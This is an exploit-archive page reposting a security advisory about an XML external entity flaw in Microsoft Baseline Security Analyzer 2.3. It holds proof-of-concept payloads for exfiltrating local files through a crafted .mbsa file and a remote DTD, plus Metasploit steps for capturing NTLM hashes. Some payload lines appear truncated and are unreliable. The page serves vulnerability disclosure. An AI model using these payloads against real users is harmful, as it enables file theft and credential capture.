exploit the possibilities

Microsoft Baseline Security Analyzer 2.3 XML Injection

Microsoft Baseline Security Analyzer 2.3 XML Injection
Posted Sep 10, 2018
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Microsoft Baseline Security Analyzer version 2.3 suffers from an XML external entity injection vulnerability.

tags | exploit
MD5 | 7224f7e70a591fdfca03428610d0453c

Microsoft Baseline Security Analyzer 2.3 XML Injection

Change Mirror Download
[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-BASELINE-ANALYZER-v2.3-XML-INJECTION.txt
[+] ISR: Apparition Security
[+] Zero Day Initiative Program


Microsoft Baseline Security Analyzer v2.3

Microsoft Baseline Security Analyzer (MBSA) is a software tool released by Microsoft to determine security state by assessing missing security updates and less-secure
security settings within Microsoft Windows, Windows components such as Internet Explorer, IIS web server, and products Microsoft SQL Server, and Microsoft Office macro settings.

[Vulnerability Type]
XML External Entity Injection

[ZDI Reference]

[Security Issue]
Microsoft Baseline Security Analyzer allows local files to be exfiltrated to a remote attacker controlled server if a user opens a specially crafted ".mbsa" file.


Install MBSA


1) "evil.mbsa"

<?xml version="1.0"?>
<!DOCTYPE fileppe_fingerz [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "">

2) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM ';'>">

When victim attempts open file they get prompted "Do you want to let this app make changes to your device?"
However, it also indicates it is a "verified publisher" namely Microsoft. After opening the local users files can be exfiltrated to a remote server.
Moreover, we can use this to steal NTLM hashes.

Using Forced Authentication to steal NTLM hashes

2) msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit -j


<?xml version="1.0"?>
<!DOCTYPE fileppe_fingerz [
<!ENTITY % dtd SYSTEM "\\\unknwonfilez">

Result: credentials captured by remote sever

[Network Access]


[Disclosure Timeline]
Notification: Trend Micro Zero Day Initiative Program
Vendor reply: Program deprecated
September 8, 2018 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).



RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    5 Files
  • 21
    Apr 21st
    1 Files
  • 22
    Apr 22nd
    10 Files
  • 23
    Apr 23rd
    22 Files
  • 24
    Apr 24th
    11 Files
  • 25
    Apr 25th
    15 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2019 Packet Storm. All rights reserved.

Security Services
Hosting By